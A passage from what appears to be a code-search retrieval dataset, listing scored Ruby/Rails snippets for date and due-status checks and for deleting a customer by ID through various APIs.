"text": "def is_race_date_valid?\n\t\terrors.add(:race_date, \"can't be in the past\") if\n\t self.race_date < Date.today\n\tend",
"title": ""
},
{
"docid": "7ebd204f5bdf01804dace5b2a712efed",
"score": "0.5166624",
"text": "def status_amarillo\n if deliverDate and downloadDate\n if (downloadDate - deliverDate).to_i > 15\n return true\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "eb392c4f2314cf1c39002f61657b4840",
"score": "0.51614094",
"text": "def check_vaccine_duration\n dur = self.duration\n # if the duration not set, assume a 'lifetime' vaccine good for 20 yrs\n self.duration = 7300 if dur.nil? || dur.blank?\n end",
"title": ""
},
{
"docid": "9c75ae2696250426a19e73288968c1d1",
"score": "0.5160506",
"text": "def due?\n due_at.to_i <= current_minute.to_i\n end",
"title": ""
},
{
"docid": "10faac0e6ce18bc701166a1287e07585",
"score": "0.5152361",
"text": "def return_is_claimable?\n return false unless indicator_is_latest?\n\n filing_days_old = (Time.zone.today - filing_date).to_i.days\n # If the filing date is 365 days old or older then true (used for showing the claim)\n (filing_days_old >= Rails.configuration.x.returns.amendable_days)\n end",
"title": ""
},
{
"docid": "55735fa084c8b73c86d9cbb880c8122f",
"score": "0.5151801",
"text": "def refused_to_participate?\n !self.pr_recruitment_end_date.blank? && self.pr_recruitment_status_code == 2\n end",
"title": ""
},
{
"docid": "beafbe0c767fd286c1ebfad1707eef20",
"score": "0.5145528",
"text": "def check_status\n # beggining of expiry perriod\n day_beggining_expiry = self.date_expiry - self.time_expiry.days\n if Time.now >= day_beggining_expiry && Time.now <= self.date_expiry\n return 'in_period'\n elsif Time.now >= self.date_expiry\n return 'after_period'\n end\n return 'normal'\n\n end",
"title": ""
},
{
"docid": "45b9096decbb377da3528fb53aa9334c",
"score": "0.5143288",
"text": "def provider_recruited?\n !self.pr_cooperation_date.blank? && self.pr_recruitment_status_code == 1\n end",
"title": ""
},
{
"docid": "1cbc3099a6004f75b5d35ba4987cfcd3",
"score": "0.514013",
"text": "def overdue?\n effective_date && (effective_date < Date.today) && (open_issues_count > 0)\n end",
"title": ""
},
{
"docid": "d6d6ee7bfb4709550acc054f5fc0295d",
"score": "0.513822",
"text": "def cracked_before_retrial_interval_required?\n [\n agfs?,\n case_type&.fee_type_code.eql?('GRCBR')\n ].all?\n end",
"title": ""
},
{
"docid": "6c03031649d627f75b85f1239ccdc006",
"score": "0.5124688",
"text": "def has_past_due?\n !self.rentals.find{|rental| rental.past_due?}.nil?\n end",
"title": ""
},
{
"docid": "3b7b894c3bb3f804ce7bf94137d2abff",
"score": "0.51114726",
"text": "def verify_reservation_is_in_future\n unless Date.today < date\n self.errors[:date] << 'must be in future. No time travel allowed!'\n end\n end",
"title": ""
},
{
"docid": "88110c7e21dcadde5e57136e641e4786",
"score": "0.51109153",
"text": "def useable?\n Time.current < paid_till\n end",
"title": ""
},
{
"docid": "c9b3ac38d388ee9f8efd714a768c0f06",
"score": "0.5109297",
"text": "def find_patient_last_viral_load\n specimens = ConceptName.where(name: ['Blood', 'DBS (Free drop to DBS card)', 'DBS (Using capillary tube)'])\n .select(:concept_id)\n\n Lab::LabOrder.where(concept: specimens, patient: patient)\n .where('start_date <= DATE(?)', date)\n .joins(:tests)\n .merge(viral_load_tests)\n .order(:start_date)\n .last\n end",
"title": ""
},
{
"docid": "6e1952fbfff034e3d60f5a5de3fcdf33",
"score": "0.51081836",
"text": "def trial_expired?\n remaining_days <= 0\n end",
"title": ""
},
{
"docid": "48f440c32b015fceef87215ded979d41",
"score": "0.51041985",
"text": "def checkVip\n\t\tif self.user_has_vip_packages.count == 0\n\t\t\treturn 0\n\t\telse\n\t\t\tif self.user_has_vip_packages.where('actived = ? AND expiry_date > ?', true, Time.now).present?\n\t\t\t\treturn 1\n\t\t\telsif self.user_has_vip_packages.where('actived = ? AND expiry_date < ?', true, Time.now).present?\n\t\t\t\tself.user_has_vip_packages.find_by_actived(true).update(actived: false)\n\t\t\t\treturn 0\n\t\t\telse\n\t\t\t\treturn 0\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "176a49633ca34315f0bc37dd5f1bcbdd",
"score": "0.5102456",
"text": "def is_date_set?\n\t\tif @due_date != nil\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f196673753297bc9552dc5315fe324ea",
"score": "0.5101422",
"text": "def check_before_date_requirements(date)\n return true unless release_before_date? && release_date.present?\n date <= release_date\n end",
"title": ""
},
{
"docid": "cdcf162c1489c257f53e1ada0704206b",
"score": "0.5092391",
"text": "def insurance_end_date_warning(days=30)\n\t\t \ttoday = Date.today\n\t\t \tinsurance_end_date ? (insurance_end_date - today).numerator < days : true\n\t\t end",
"title": ""
},
{
"docid": "97a58880a831e3f560283b8d3b3400a4",
"score": "0.50897413",
"text": "def is_on_vacation?(date=Time.current)\n Vacation.is_on_vacation?(self.id, date)\n end",
"title": ""
},
{
"docid": "7f22bd95f4a2c9fa3e563b5cf39bffbb",
"score": "0.50884724",
"text": "def signup_deadline_passed?\n return self.signup_deadline < self.class.today_for_signup\n end",
"title": ""
},
{
"docid": "3995f385e3b01077592435c90eb96c4e",
"score": "0.5087014",
"text": "def future_due\n unless name == \"In\" or !due.nil?\n errors.add(:due, \"please enter a due date\")\n else\n unless due.nil?\n if due < Time.now\n errors.add(:due, \"due date should be in the future\")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c9f1403f5ec9ef5e14a7311937342042",
"score": "0.5064606",
"text": "def due_today?\n @due_date == Date.today\n end",
"title": ""
},
{
"docid": "828178c558939e66ddab1466391076eb",
"score": "0.5063899",
"text": "def trial_period_valid?\n self.created_at >= self.class.trial_period.ago && !self.enrolled?\n end",
"title": ""
},
{
"docid": "5aa0fc8be06e1761b654dff84a9da345",
"score": "0.506002",
"text": "def known_to_be_pregnant?(date = Date.today)\n pregnant?(date)\n end",
"title": ""
},
{
"docid": "fd46a081d0be8425350c87cbe23a6a32",
"score": "0.50552243",
"text": "def valid_dates\n\n if resign_date.present? && resign_date < join_date\n self.errors.add :resign_date, 'Resign Date must be after join date'\n end\n end",
"title": ""
},
{
"docid": "e8f692ad8d657321a56d1d0e627a0dc0",
"score": "0.5053797",
"text": "def find_patient_recent_viral_load_skip(duration: 6.months)\n Observation.where(concept: ConceptName.where(name: ['Delayed milestones', 'Tests ordered'])\n .select(:concept_id),\n person_id: patient.patient_id)\n .where('obs_datetime BETWEEN DATE(?) AND (?)', date - duration, date)\n .order(:obs_datetime)\n .last\n end",
"title": ""
},
{
"docid": "f02c0af22bae04bddc8e381af33f3c79",
"score": "0.50431246",
"text": "def past_due?\n # binding.pry \n self.created_at < self.updated_at\n end",
"title": ""
},
{
"docid": "93b29f0df1f2599bfd65c5e5f327b4a3",
"score": "0.50372005",
"text": "def due\n time = getColumn( 'due' )\n if( time == 0 )\n return false\n else\n return Time.at( getColumn( 'due' ) )\n end\n end",
"title": ""
},
{
"docid": "3d709e6f177d639f20d3c618e5e5136e",
"score": "0.50352657",
"text": "def patient_completed_tpt?(patient, tpt)\n if tpt == '3HP'\n # return true if patient['total_days_on_medication'].to_i >= 83 # 3 months\n return true if patient['months_on_tpt'].to_i >= 3\n\n divider = patient['drug_concepts'].split(',').length > 1 ? 14.0 : 7.0\n days_on_medication = (patient['total_days_on_medication'] / divider).round\n days_on_medication.days >= FULL_3HP_COURSE_DAYS\n else\n patient['total_days_on_medication'].to_i >= FULL_6H_COURSE_PILLS\n end\n end",
"title": ""
},
{
"docid": "4242f4342cf0ed81c512030189cac9b8",
"score": "0.5030979",
"text": "def overdue\n if active? && repayments.size < no_of_terms\n (Date.today - repayments.last.date).to_i\n else\n false\n end\n end",
"title": ""
}
] |
989fa7d192a6207d59f3ae15c7860b15
|
Deletes the customer given by ID.
|
[
{
"docid": "b5cb5736b9636782ca5d97c3d6fab984",
"score": "0.6706358",
"text": "def v1_customers_id_delete_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomersApi.v1_customers_id_delete ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomersApi.v1_customers_id_delete\"\n end\n # resource path\n local_var_path = \"/v1/customers/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#v1_customers_id_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] |
[
{
"docid": "3495d1741dc263f337039903361e868c",
"score": "0.8796279",
"text": "def delete_customer(id)\n resp = post(\"/customer/delete\", \"CustomerID\" => id)\n resp[\"Success\"] == true\n end",
"title": ""
},
{
"docid": "9543bf6e298f3b5594ff4cc77edcef6c",
"score": "0.8496987",
"text": "def delete_customer(customer_id:)\n path = '/api/customer/delete'\n\n private_post(path, { customerId: customer_id })\n end",
"title": ""
},
{
"docid": "3d57d8ed7b51cf2e3ce86d895faf8df1",
"score": "0.83910376",
"text": "def delete_customer_by_id(customer_id)\n headers = admin_headers\n\n delete_wrapper(\"/V1/customers/#{customer_id}\", headers)\n end",
"title": ""
},
{
"docid": "7be6d184863c9a531a6e0c11bcfd2a7a",
"score": "0.81107503",
"text": "def delete_customer(opts)\n requires!(opts, :id)\n r = req(opts.merge(:method => 'delete_customer')) \n end",
"title": ""
},
{
"docid": "0cf6fa0030811d46d7746e7689c1c446",
"score": "0.80847406",
"text": "def delete_customer(id)\n @db.execute \"DELETE FROM Customers WHERE customer_id = #{id};\"\n @db.close\n end",
"title": ""
},
{
"docid": "cde02263967821601e9415c2ce4d1bb5",
"score": "0.8049986",
"text": "def delete()\n sql = \"DELETE FROM customers WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"title": ""
},
{
"docid": "f88c7793390edeb3930000c5e2cead96",
"score": "0.7937074",
"text": "def destroy\n Api.delete(\"#{BASE_PATH}/#{customer_id}\")\n true\n end",
"title": ""
},
{
"docid": "5802ca1e9b87bfa627a9eab39a932730",
"score": "0.7861714",
"text": "def delete_customer_by_id(project_key, id, version, opts = {})\n data, _status_code, _headers = delete_customer_by_id_with_http_info(project_key, id, version, opts)\n data\n end",
"title": ""
},
{
"docid": "d2f1a50a99480667d9542b33120eb3af",
"score": "0.7822695",
"text": "def delete_customer(id, opts = {})\n data, _status_code, _headers = delete_customer_with_http_info(id, opts)\n return data\n end",
"title": ""
},
{
"docid": "cb662aff552a0b7fafe19c41d6b11da3",
"score": "0.7801527",
"text": "def delete_customer\n Stripe::Customer.delete(\n @user,\n )\n end",
"title": ""
},
{
"docid": "69d48653a98d333288189ec419e559f9",
"score": "0.7709481",
"text": "def destroy!(id = nil)\n Customer.delete(id ? id : self.cid)\n end",
"title": ""
},
{
"docid": "4c0db6eb951cca703a4369f53e04947e",
"score": "0.770908",
"text": "def delete(customer_id)\n @customers = load\n @customers.each do |customer|\n user_to_delete = search_by_id(customer_id)\n user_to_delete.delete_if { |id| id == customer.id }\n end\n save_yml_file\n end",
"title": ""
},
{
"docid": "9ae56533cb210b82acffaaafd16661f4",
"score": "0.76904124",
"text": "def delete()\n sql = \"DELETE FROM customers WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"title": ""
},
{
"docid": "248d0a3ad7c195c37a0af6678c7ea8ac",
"score": "0.7676654",
"text": "def delete\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n redirect_to(customers_url)\n end",
"title": ""
},
{
"docid": "32254e8e4bed674fbd9f1ebe5de1965b",
"score": "0.7670722",
"text": "def delete_a_customer\n @customer.delete\n end",
"title": ""
},
{
"docid": "08402cc90959282226ff2e047bc57223",
"score": "0.7651742",
"text": "def delete()\n sql = \"DELETE * FROM customers where id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"title": ""
},
{
"docid": "2b0f3af054dbd8450244c34fa18fc6df",
"score": "0.7630244",
"text": "def destroy\n puts \"DELETE CUSTOMER #{params[:id]}\"\n @customer = User.find_by(id: params[:id])\n if @customer.nil?\n flash[:notice] = \"Customer #{params[:id]} not found.\"\n #redirect_to manage_customers_path\n else\n if @customer.addresses.count > 0\n @customer.addresses.each do |address|\n address.destroy\n end\n end\n deletedCustomer = \"#{@customer.id} (Name: #{@customer.first_name} #{@customer.last_name}, Email: #{@customer.email}).\"\n @customer.destroy\n flash[:success] = \"Deleted Customer #{deletedCustomer}\"\n puts \"redirecting to customer list...\"\n redirect_to staff_edit_customers_path\n end\n end",
"title": ""
},
{
"docid": "6b32db48891e099b5b5752a43202399e",
"score": "0.7622546",
"text": "def delete_customer(options = {})\n requires! options, :customer_number\n\n request = build_request(__method__, options)\n commit(__method__, request)\n end",
"title": ""
},
{
"docid": "d513588b5381a12a1307bcd8f0b51f26",
"score": "0.75557995",
"text": "def delete_customer(request)\n gateway_request('DELETE', '/api/customer/' + request[:customerId], request)\n end",
"title": ""
},
{
"docid": "d47a23213a209efc2dd8bbdd19fadb22",
"score": "0.7489163",
"text": "def destroy\n @customer = User.find_by(id: params[:id])\n if @customer.nil?\n flash[:notice] = \"Customer #{params[:id]} not found.\"\n #redirect_to manage_customers_path\n else\n if @customer.addresses.count > 0\n @customer.addresses.each do |address|\n address.destroy\n end\n end\n deletedCustomer = \"#{@customer.id} (Name: #{@customer.first_name} #{@customer.last_name}, Email: #{@customer.email}).\"\n @customer.destroy\n flash[:success] = \"Successfully deleted your account. #{deletedCustomer}\"\n #redirect_to manage_customers_path\n end\n end",
"title": ""
},
{
"docid": "29048ac77a97029c5980d9dc7f04124f",
"score": "0.74574906",
"text": "def v1_customers_id_delete(id, opts = {})\n v1_customers_id_delete_with_http_info(id, opts)\n return nil\n end",
"title": ""
},
{
"docid": "835ca2d2f19780f408edccc8c8fbcf23",
"score": "0.7407534",
"text": "def destroy\n Customer.find(params[:id]).destroy\n flash[:success] = \"Customer deleted\"\n redirect_to customers_url\n end",
"title": ""
},
{
"docid": "12dae6942309d2f8b72ab2fa4c4accf7",
"score": "0.74007946",
"text": "def destroy\n @customer = Customer.find(params[:id])\n # SQL: SELECT * FROM customers WHERE customers.id = ? LIMIT 1\n if @customer.destroy\n # SQL: DELETE FROM customers WHERE customers.id = ?\n flash[:notice] = \"Deleted #{@customer.name}\"\n redirect_to customers_path\n else\n flash[:alert] = \"Failed to delete #{@customer.name}: #{@customer.errors.full_messages.to_sentence}\"\n redirect_to :show\n end\n end",
"title": ""
},
{
"docid": "ebd5b1e9de9af6488fb1adc01a0a4558",
"score": "0.74007386",
"text": "def delete_customer(customer_id) \n hmac_header = add_hmac_header_delete(customer_id)\n merged_headers = headers.merge(hmac_header)\n\n response = ssl_request(:delete, get_url(\"customer\") + \"/\" + customer_id, \"\", merged_headers)\n\n Response.new(\n response,\n authorization: authorization_from(response),\n ) \n end",
"title": ""
},
{
"docid": "b2e8cef8770e213ba96474fb95bddfde",
"score": "0.73184276",
"text": "def delete_customer(customer_id, opts = {})\n data, _status_code, _headers = delete_customer_with_http_info(customer_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "40633dd4b3bb58fea20f94635682c32c",
"score": "0.7267679",
"text": "def remove\n customer = Stripe::Customer.retrieve(self.stripe_customer_id)\n\t customer.delete()\n\t self.destroy\n end",
"title": ""
},
{
"docid": "5f1972e1c7a2cf59822abe0c0c55267d",
"score": "0.72333586",
"text": "def delete_customer_by_id_in_store(project_key, store_key, id, version, opts = {})\n data, _status_code, _headers = delete_customer_by_id_in_store_with_http_info(project_key, store_key, id, version, opts)\n data\n end",
"title": ""
},
{
"docid": "e68162b6cb0f5586098b95bd3cecd1aa",
"score": "0.72254336",
"text": "def destroy\n Customer.find(params[:id]).destroy\n flash[:success] = \"Customer destroyed.\"\n redirect_to customers_url\n end",
"title": ""
},
{
"docid": "dfa0eb39a400130f11d37ea77bacf5b6",
"score": "0.7224311",
"text": "def destroy\n\t\t@customer = Customer.find(params[:id])\n\t\t@customer.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to customer_url}\n\t\t\tformat.json {head :no_content}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5284fab1407de44f7012c39833cc6c9a",
"score": "0.7183618",
"text": "def destroy\n response = client.execute_request('customer.delete', {\n data: {\n customer_id: self.customer_id\n }\n })\n\n if response.success? && response.fetch('status') == 'success'\n @errors = []\n return true\n end\n\n @errors = response.errors\n return false\n end",
"title": ""
},
{
"docid": "d58f510810d7f1b29daca6addbae718b",
"score": "0.7140455",
"text": "def unstore(customer_id, options = {})\n commit(:delete, \"customers/#{CGI.escape(customer_id)}\")\n end",
"title": ""
},
{
"docid": "37ad90f21fdcf4cad8e2f99474c738bd",
"score": "0.71232235",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n redirect_to customers_path, :notice => 'Kunde wurde gelöscht.'\n end",
"title": ""
},
{
"docid": "0f4c32403dc38d57f9bc5ef3d2a28302",
"score": "0.7102512",
"text": "def destroy\n @customer = Customer.find(params[:id])\n # 'soft' delete de klant, (de namen van) historische klanten blijven behouden in de database\n @customer.deleted = true\n @customer.save\n log self.class.name, LogEntry::INFORMATIONAL, \"Klant #{@customer.name}, id #{@customer.id}, is verwijderd door #{current_admin_user.username}\"\n redirect_to admin_customers_path\n end",
"title": ""
},
{
"docid": "502f34cd0d09f6501a06d7453ea2c172",
"score": "0.71009624",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c9a8dccd9d701231230f125baeb27d6b",
"score": "0.7026289",
"text": "def destroy\n begin\n amc_customer = Customer.find(params[:id])\n amc_customer.destroy\n rescue\n end\n redirect_to customer_show_amc_path\n end",
"title": ""
},
{
"docid": "6054269da13e2321d13cf522102f57fe",
"score": "0.7008476",
"text": "def destroy\r\n @customer = Customer.find(params[:id])\r\n @customer.destroy\r\n redirect_to :action => :index\r\n end",
"title": ""
},
{
"docid": "76de159e7327bd04c79ed81a17c65cf1",
"score": "0.699994",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_customers_path, notice: 'Customer was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "93d388920d3b2a8503a9842b3c29b282",
"score": "0.69959295",
"text": "def delete(options = nil)\n request = Request.new(@client)\n path = \"/customers/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end",
"title": ""
},
{
"docid": "b084d1fbd9794b8e3a6c63a7a6702879",
"score": "0.69636595",
"text": "def delete()\n sql= \"DELETE FROM customers WHERE id=#{@id};\"\n SqlRunner.run(sql)\n end",
"title": ""
},
{
"docid": "4946b8339bd2b809bd477c70903d5982",
"score": "0.6941609",
"text": "def delete_customer_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomerApi.delete_customer ...\"\n end\n # verify the required parameter 'id' is set\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomerApi.delete_customer\" if id.nil?\n # resource path\n local_var_path = \"/customer/delete\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id'] = id\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2003')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomerApi#delete_customer\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "400b7f2b1d2d6f54dab4d4c65a789875",
"score": "0.69237083",
"text": "def destroy\n destroyed, error = Cruds::CrudCustomerService.destroy(@customer)\n if destroyed \n redirect_to customers_url, notice: \"Customer was successfully destroyed.\" \n else\n render :index, notice: error\n end\n end",
"title": ""
},
{
"docid": "0adff54bcf4ee20350b10b959bb3c880",
"score": "0.6886608",
"text": "def destroy\n @customer.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "c39b127a7ab304ea087af0d277f47e98",
"score": "0.687973",
"text": "def delete(customer)\n xml = customer.to_delete_xml\n response = do_http_post(url_for_resource(\"customer\"), xml)\n if response.code.to_i == 200\n path_to_node = \"//xmlns:RestResponse/xmlns:Success\"\n Quickeebooks::Windows::Model::Customer.from_xml_ns(response.body, path_to_node)\n else\n nil\n end \n end",
"title": ""
},
{
"docid": "4a3b3f53f0b5f00ee2738379c6acd718",
"score": "0.68669236",
"text": "def delete_by_id(organization, id)\n HttpClient::Preconditions.assert_class('organization', organization, String)\n HttpClient::Preconditions.assert_class('id', id, String)\n r = @client.request(\"/#{CGI.escape(organization)}/customer/tokens/#{CGI.escape(id)}\").delete\n nil\n end",
"title": ""
},
{
"docid": "87a66da49dec2c3e419ef9a03f52ae19",
"score": "0.685142",
"text": "def delete_customer_with_http_info(customer_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomersApi.delete_customer ...\"\n end\n # verify the required parameter 'customer_id' is set\n fail ArgumentError, \"Missing the required parameter 'customer_id' when calling CustomersApi.delete_customer\" if customer_id.nil?\n # resource path\n local_var_path = \"/v2/customers/{customer_id}\".sub('{format}','json').sub('{' + 'customer_id' + '}', customer_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n \n header_params['Square-Version'] = \"2018-07-12\"\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DeleteCustomerResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#delete_customer\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0cb48170d9c0abe0c6e31e49fd044257",
"score": "0.6817162",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n flash[:notice] = \"Customer removed. Goodbye!\"\n \n respond_to do |format|\n format.html { redirect_to(admin_customers_path) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "57a5c20de8ba5d75b7f79b5cc915a2bb",
"score": "0.6813588",
"text": "def destroy\n if @customer.is_delete == 1\n user_id = @customer.user_id\n @customer.destroy\n User.destroy(user_id)\n else\n @customer.is_delete = 1\n @customer.save\n end\n respond_to do |format|\n format.html { redirect_to customers_url, notice: 'Customer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cbb3c227a7f11ab6ce014c5b1b299478",
"score": "0.677954",
"text": "def destroy\n\n @customer = Customer.find(params[:id])\n @customer.destroy\n respond_to do |format|\n format.html { redirect_to(customers_url) }\n format.xml { customers :ok }\n end\n end",
"title": ""
},
{
"docid": "2784c9cfaab5b5089058a90d42fab068",
"score": "0.6778641",
"text": "def delete_by_id(id)\n delete(id)\n end",
"title": ""
},
{
"docid": "8beac1a937361cce38c64dd18b62f0db",
"score": "0.67772776",
"text": "def destroy\r\n @customer = Customer.find(params[:id])\r\n @customer.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to customers_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "316db473129bc832a7eeffc058ea2764",
"score": "0.6739976",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b01063ce2709689540c4dc080b5fd1a0",
"score": "0.6724932",
"text": "def customer(id)\n response = get(\"customers/#{id}\")\n response\n end",
"title": ""
},
{
"docid": "08afd5f635d4df58939793c4bab8642a",
"score": "0.67245233",
"text": "def delete_subscribe_customer(customer_uid)\n uri = \"subscribe/customers/#{customer_uid}\"\n\n _delete(uri)\n end",
"title": ""
},
{
"docid": "a030f068591d2a19a75eea48d5a0b4d0",
"score": "0.67140055",
"text": "def destroy\r\n\r\n if params[:id].is_a?(Array)\r\n @success = Customer.destroy(params[:id])\r\n else\r\n @customer = Customer.find_by_id(params[:id])\r\n @customer.destroy unless @customer.nil?\r\n @success = @customer && @customer.destroyed?\r\n end\r\n if @success\r\n flash[:notice] = _(\"%{model} %{name} successfully deleted.\") % {:model => _(\"Customer\"), :name => @customer.disp_name}\r\n else\r\n flash[:warning] = _(\"%{model} %{name} could not be deleted.\") % {:model => _(\"Customer\"), :name => params[:name]}\r\n end\r\n if params[:format] != \"json\"\r\n if request.xhr?\r\n render :action => 'ajax_update', :layout => false\r\n else\r\n if params[:go_to].blank?\r\n redirect_to :action => :index\r\n else\r\n redirect_to(params[:go_to])\r\n end\r\n end\r\n else\r\n resp = {}\r\n if @success\r\n resp[:success] = true\r\n else\r\n resp[:success] = false\r\n resp[:error] = flash[:warning]\r\n end\r\n render :json => resp.to_json, :layout => false\r\n end\r\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
"text": "def destroy\n @customer = Customer.find(params[:id])\n @customer.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6383d4a9142205c254c772b5223316c1",
"score": "0.6702617",
